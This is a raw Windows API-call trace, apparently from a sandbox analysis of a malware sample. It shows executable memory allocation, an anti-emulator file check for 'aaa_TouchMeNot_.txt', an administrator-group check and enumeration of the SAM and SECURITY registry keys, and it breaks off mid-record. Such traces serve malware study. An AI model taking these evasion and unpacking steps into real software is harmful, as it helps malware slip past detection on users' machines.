[0226.019] CloseClipboard () returned 0 [0226.019] CoUninitialize () [0226.019] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0226.019] ReleaseMutex (hMutex=0xa0) returned 0 [0226.019] CloseHandle (hObject=0xa0) returned 1 [0226.019] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0226.019] GetCommState (in: hFile=0x3b268c, lpDCB=0x58f800 | out: lpDCB=0x58f800) returned 0 [0226.019] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x58f7fc, pmr=0x58f7e8, cht=0x353) returned 0 [0226.019] CloseClipboard () returned 0 [0226.019] CoUninitialize () [0226.019] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0226.019] ReleaseMutex (hMutex=0xa0) returned 0 [0226.019] CloseHandle (hObject=0xa0) returned 1 [0226.019] GetLocalTime (in: lpSystemTime=0x58fa9c | out: lpSystemTime=0x58fa9c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x18, wSecond=0x25, wMilliseconds=0x3c9)) [0226.020] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x58f51c | out: ProcedureAddress=0x58f51c*=0x77011856) returned 0x0 [0226.020] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x1d0000 [0226.196] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x58f51c | out: ProcedureAddress=0x58f51c*=0x77011856) returned 0x0 [0226.196] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x150000 [0226.197] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x58f5b4 | out: ProcedureAddress=0x58f5b4*=0x770149d7) returned 0x0 [0226.197] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x58f5b4 | out: ProcedureAddress=0x58f5b4*=0x77011222) returned 0x0 [0226.197] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x58f5b4 | out: ProcedureAddress=0x58f5b4*=0x77011856) returned 0x0 [0226.197] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x58f5b4 | out: ProcedureAddress=0x58f5b4*=0x7701435f) returned 0x0 [0226.197] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0226.198] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0226.198] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0226.198] VirtualProtect (in: lpAddress=0x370000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x58f668 | out: lpflOldProtect=0x58f668*=0x2) returned 1 [0226.209] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1f0000 [0226.260] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0226.260] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0226.260] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0226.260] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0226.950] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.998] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xe40000 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x104) returned 0xe407d0 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe408e0 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40968 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe409f0 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40a78 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40b00 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40b88 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40c10 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40c98 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40d20 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40da8 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40e30 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40eb8 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40f40 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe40fc8 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe41050 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x80) returned 0xe410d8 [0227.002] RtlAllocateHeap (HeapHandle=0xe40000, Flags=0x8, Size=0x400) returned 0xe41160 [0227.002] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x180000 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x1807d0 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x180858 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x1808e0 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x184) returned 0x180968 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180af8 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180b40 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180b88 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180bd0 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180c18 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180c60 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180ca8 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180cf0 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180d38 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180d80 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180dc8 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180e10 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180e58 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180ea0 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180ee8 [0227.003] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180f30 [0227.003] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58f1b0, nSize=0x1000 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0227.004] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x180f78 [0227.004] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x2c) returned 0x18b828 [0227.012] GetVersionExW (in: lpVersionInformation=0x58f7d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x58f7d0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0227.012] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x58f7b8 | out: Wow64Process=0x58f7b8) returned 1 [0227.012] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x58f794 | out: TokenHandle=0x58f794*=0xa0) returned 1 [0227.012] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x58f790 | out: TokenInformation=0x0, ReturnLength=0x58f790) returned 0 [0227.012] GetLastError () returned 0x7a [0227.012] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x140) returned 0x18b860 [0227.012] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x18b860, TokenInformationLength=0x104, ReturnLength=0x58f790 | out: TokenInformation=0x18b860, ReturnLength=0x58f790) returned 1 [0227.012] AllocateAndInitializeSid (in: pIdentifierAuthority=0x58f7a0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x58f798 | out: pSid=0x58f798*=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0227.012] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x4c, [5]=0x58))) returned 0 [0227.013] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0227.013] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0227.013] EqualSid (pSid1=0x252830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x18b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0227.013] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18b860) returned 1 [0227.013] NtClose (Handle=0xa0) returned 0x0 [0227.013] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18b860 [0227.014] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18b8a8 [0227.015] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x280) returned 0x18b930 [0227.015] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0227.022] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x18b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0227.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bc58 [0227.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x18bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0227.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bca0 [0227.022] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bc58) returned 1 [0227.022] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bca0) returned 1 [0227.022] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.022] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x18b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0227.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bca0 [0227.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x18bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0227.022] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bc58 [0227.022] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bca0) returned 1 [0227.022] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bc58) returned 1 [0227.022] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.022] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x18b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bc58 [0227.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x18bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bca0 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bc58) returned 1 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bca0) returned 1 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.023] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x18b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bca0 [0227.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x18bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bc58 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bca0) returned 1 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bc58) returned 1 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.023] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x18b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bc58 [0227.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x18bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0227.023] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bca0 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bc58) returned 1 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bca0) returned 1 [0227.023] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.023] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x58f728 | out: phkResult=0x58f728*=0xa0) returned 0x0 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x184) returned 0x18d040 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bca0 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bc58 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bce8 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bd30 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bd78 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bdc0 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18be08 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18be50 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18be98 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bee0 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bf28 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bf70 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18bfb8 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c000 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c048 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c090 [0227.024] RegCloseKey (hKey=0x80000002) returned 0x0 [0227.024] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x18b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x18c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.024] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.024] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.024] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.024] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x18b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0227.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.024] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c120) returned 1 [0227.024] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c0d8) returned 1 [0227.024] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18bbb8) returned 1 [0227.025] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x18b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18bbb8 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x18c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0227.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 